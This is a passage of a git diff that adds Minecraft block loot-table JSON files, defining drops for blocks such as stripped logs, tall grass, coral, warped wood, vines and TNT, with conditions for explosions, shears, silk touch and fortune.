a/src/data/minecraft/loot_tables/blocks/stripped_jungle_wood.json b/src/data/minecraft/loot_tables/blocks/stripped_jungle_wood.json new file mode 100644 index 00000000..5dd102fa --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_jungle_wood.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_jungle_wood" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_oak_log.json b/src/data/minecraft/loot_tables/blocks/stripped_oak_log.json new file mode 100644 index 00000000..374182a2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_oak_log.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_oak_log" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_oak_wood.json b/src/data/minecraft/loot_tables/blocks/stripped_oak_wood.json new file mode 100644 index 00000000..11d0a9fb --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_oak_wood.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_oak_wood" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_spruce_log.json b/src/data/minecraft/loot_tables/blocks/stripped_spruce_log.json new file mode 100644 index 00000000..58f0e204 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_spruce_log.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_spruce_log" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_spruce_wood.json b/src/data/minecraft/loot_tables/blocks/stripped_spruce_wood.json new file mode 100644 index 00000000..6cd5519c --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_spruce_wood.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_spruce_wood" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_warped_hyphae.json b/src/data/minecraft/loot_tables/blocks/stripped_warped_hyphae.json new file mode 100644 index 00000000..f985cd20 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_warped_hyphae.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_warped_hyphae" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/stripped_warped_stem.json b/src/data/minecraft/loot_tables/blocks/stripped_warped_stem.json new file mode 100644 index 00000000..5359cdb4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/stripped_warped_stem.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:stripped_warped_stem" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/sugar_cane.json b/src/data/minecraft/loot_tables/blocks/sugar_cane.json new file mode 100644 index 00000000..1e8cb71a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/sugar_cane.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:sugar_cane" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/sunflower.json b/src/data/minecraft/loot_tables/blocks/sunflower.json new file mode 100644 index 00000000..a4285423 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/sunflower.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:sunflower", + "properties": { + "half": "lower" + } + } + ], + "name": "minecraft:sunflower" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/sweet_berry_bush.json b/src/data/minecraft/loot_tables/blocks/sweet_berry_bush.json new file mode 100644 index 00000000..ff10f42f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/sweet_berry_bush.json @@ -0,0 +1,82 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:sweet_berries" + } + ], + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:sweet_berry_bush", + "properties": { + "age": "3" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 3.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:uniform_bonus_count", + "parameters": { + "bonusMultiplier": 1 + } + } + ] + }, + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:sweet_berries" + } + ], + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:sweet_berry_bush", + "properties": { + "age": "2" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:uniform_bonus_count", + "parameters": { + "bonusMultiplier": 1 + } + } + ] + } + ], + "functions": [ + { + "function": "minecraft:explosion_decay" + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/tall_grass.json b/src/data/minecraft/loot_tables/blocks/tall_grass.json new file mode 100644 index 00000000..4ce4baeb --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/tall_grass.json @@ -0,0 +1,129 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 2 + } + ], + "name": "minecraft:grass" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + }, + { + "condition": "minecraft:random_chance", + "chance": 0.125 + } + ], + "name": "minecraft:wheat_seeds" + } + ] + } + ], + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:tall_grass", + "properties": { + "half": "lower" + } + }, + { + "condition": "minecraft:location_check", + "predicate": { + "block": { + "block": "minecraft:tall_grass", + "state": { + "half": "upper" + } + } + }, + "offsetY": 1 + } + ] + }, + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + } + ], + "functions": [ + { + "function": "minecraft:set_count", + "count": 2 + } + ], + "name": "minecraft:grass" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + }, + { + "condition": "minecraft:random_chance", + "chance": 0.125 + } + ], + "name": "minecraft:wheat_seeds" + } + ] + } + ], + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:tall_grass", + "properties": { + "half": "upper" + } + }, + { + "condition": "minecraft:location_check", + "predicate": { + "block": { + "block": "minecraft:tall_grass", + "state": { + "half": "lower" + } + } + }, + "offsetY": -1 + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/tall_seagrass.json b/src/data/minecraft/loot_tables/blocks/tall_seagrass.json new file mode 100644 index 00000000..1afdd397 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/tall_seagrass.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 2 + } + ], + "name": "minecraft:seagrass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/target.json b/src/data/minecraft/loot_tables/blocks/target.json new file mode 100644 index 00000000..d9736e84 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/target.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:target" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/terracotta.json b/src/data/minecraft/loot_tables/blocks/terracotta.json new file mode 100644 index 00000000..6cd73779 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/tnt.json b/src/data/minecraft/loot_tables/blocks/tnt.json new file mode 100644 index 00000000..67bed16f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/tnt.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:tnt", + "properties": { + "unstable": "false" + } + } + ], + "name": "minecraft:tnt" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/torch.json b/src/data/minecraft/loot_tables/blocks/torch.json new file mode 100644 index 00000000..73342646 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/torch.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:torch" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/trapped_chest.json b/src/data/minecraft/loot_tables/blocks/trapped_chest.json new file mode 100644 index 00000000..eae7ae7b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/trapped_chest.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + } + ], + "name": "minecraft:trapped_chest" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/tripwire.json b/src/data/minecraft/loot_tables/blocks/tripwire.json new file mode 100644 index 00000000..c739e975 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/tripwire.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:string" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/tripwire_hook.json b/src/data/minecraft/loot_tables/blocks/tripwire_hook.json new file mode 100644 index 00000000..534e4412 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/tripwire_hook.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:tripwire_hook" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/tube_coral.json b/src/data/minecraft/loot_tables/blocks/tube_coral.json new file mode 100644 index 00000000..bb48ae3d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/tube_coral.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:tube_coral" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/tube_coral_block.json b/src/data/minecraft/loot_tables/blocks/tube_coral_block.json new file mode 100644 index 00000000..63744ea7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/tube_coral_block.json @@ -0,0 +1,43 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:tube_coral_block" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "name": "minecraft:dead_tube_coral_block" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/tube_coral_fan.json b/src/data/minecraft/loot_tables/blocks/tube_coral_fan.json new file mode 100644 index 00000000..760b81ee --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/tube_coral_fan.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:tube_coral_fan" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/turtle_egg.json b/src/data/minecraft/loot_tables/blocks/turtle_egg.json new file mode 100644 index 00000000..df20e032 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/turtle_egg.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:turtle_egg" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/twisting_vines.json b/src/data/minecraft/loot_tables/blocks/twisting_vines.json new file mode 100644 index 00000000..0d4a16a5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/twisting_vines.json @@ -0,0 +1,61 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ], + "name": "minecraft:twisting_vines" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.33, + 0.55, + 0.77, + 1.0 + ] + } + ], + "name": "minecraft:twisting_vines" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/twisting_vines_plant.json b/src/data/minecraft/loot_tables/blocks/twisting_vines_plant.json new file mode 100644 index 00000000..0d4a16a5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/twisting_vines_plant.json @@ -0,0 +1,61 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ], + "name": "minecraft:twisting_vines" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.33, + 0.55, + 0.77, + 1.0 + ] + } + ], + "name": "minecraft:twisting_vines" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/vine.json b/src/data/minecraft/loot_tables/blocks/vine.json new file mode 100644 index 00000000..f3088dc8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/vine.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:vine" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_button.json b/src/data/minecraft/loot_tables/blocks/warped_button.json new file mode 100644 index 00000000..37fbf5cf --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_button.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_button" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_door.json b/src/data/minecraft/loot_tables/blocks/warped_door.json new file mode 100644 index 00000000..48c160b6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_door.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:warped_door", + "properties": { + "half": "lower" + } + } + ], + "name": "minecraft:warped_door" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_fence.json b/src/data/minecraft/loot_tables/blocks/warped_fence.json new file mode 100644 index 00000000..2690c6b7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_fence.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_fence" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_fence_gate.json b/src/data/minecraft/loot_tables/blocks/warped_fence_gate.json new file mode 100644 index 00000000..f14362b3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_fence_gate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_fungus.json b/src/data/minecraft/loot_tables/blocks/warped_fungus.json new file mode 100644 index 00000000..4784cb5b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_fungus.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_fungus" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_hyphae.json b/src/data/minecraft/loot_tables/blocks/warped_hyphae.json new file mode 100644 index 00000000..456d5f51 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_hyphae.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_hyphae" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_nylium.json b/src/data/minecraft/loot_tables/blocks/warped_nylium.json new file mode 100644 index 00000000..a0d1009f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_nylium.json @@ -0,0 +1,43 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:warped_nylium" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ], + "name": "minecraft:netherrack" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_planks.json b/src/data/minecraft/loot_tables/blocks/warped_planks.json new file mode 100644 index 00000000..39feade7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_planks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_planks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_pressure_plate.json b/src/data/minecraft/loot_tables/blocks/warped_pressure_plate.json new file mode 100644 index 00000000..24e8367a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_pressure_plate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_pressure_plate" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_roots.json b/src/data/minecraft/loot_tables/blocks/warped_roots.json new file mode 100644 index 00000000..192116bd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_roots.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_roots" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_sign.json b/src/data/minecraft/loot_tables/blocks/warped_sign.json new file mode 100644 index 00000000..e61d5d62 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_sign.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_sign" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_slab.json b/src/data/minecraft/loot_tables/blocks/warped_slab.json new file mode 100644 index 00000000..84d151f3 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:warped_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:warped_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_stairs.json b/src/data/minecraft/loot_tables/blocks/warped_stairs.json new file mode 100644 index 00000000..1373b7f2 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_stem.json b/src/data/minecraft/loot_tables/blocks/warped_stem.json new file mode 100644 index 00000000..4ef85dc6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_stem.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_stem" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_trapdoor.json b/src/data/minecraft/loot_tables/blocks/warped_trapdoor.json new file mode 100644 index 00000000..6f1d9e2e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_trapdoor.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_trapdoor" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/warped_wart_block.json b/src/data/minecraft/loot_tables/blocks/warped_wart_block.json new file mode 100644 index 00000000..39fa01a6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/warped_wart_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_wart_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/weeping_vines.json b/src/data/minecraft/loot_tables/blocks/weeping_vines.json new file mode 100644 index 00000000..2c5e39e9 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/weeping_vines.json @@ -0,0 +1,61 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ], + "name": "minecraft:weeping_vines" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.33, + 0.55, + 0.77, + 1.0 + ] + } + ], + "name": "minecraft:weeping_vines" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/weeping_vines_plant.json b/src/data/minecraft/loot_tables/blocks/weeping_vines_plant.json new file mode 100644 index 00000000..2c5e39e9 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/weeping_vines_plant.json @@ -0,0 +1,61 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:alternative", + "terms": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "item": "minecraft:shears" + } + }, + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ], + "name": "minecraft:weeping_vines" + }, + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:table_bonus", + "enchantment": "minecraft:fortune", + "chances": [ + 0.33, + 0.55, + 0.77, + 1.0 + ] + } + ], + "name": "minecraft:weeping_vines" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/wet_sponge.json b/src/data/minecraft/loot_tables/blocks/wet_sponge.json new file mode 100644 index 00000000..6713c51a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/wet_sponge.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:wet_sponge" + } + ], + "conditions": [ + { + "condition": 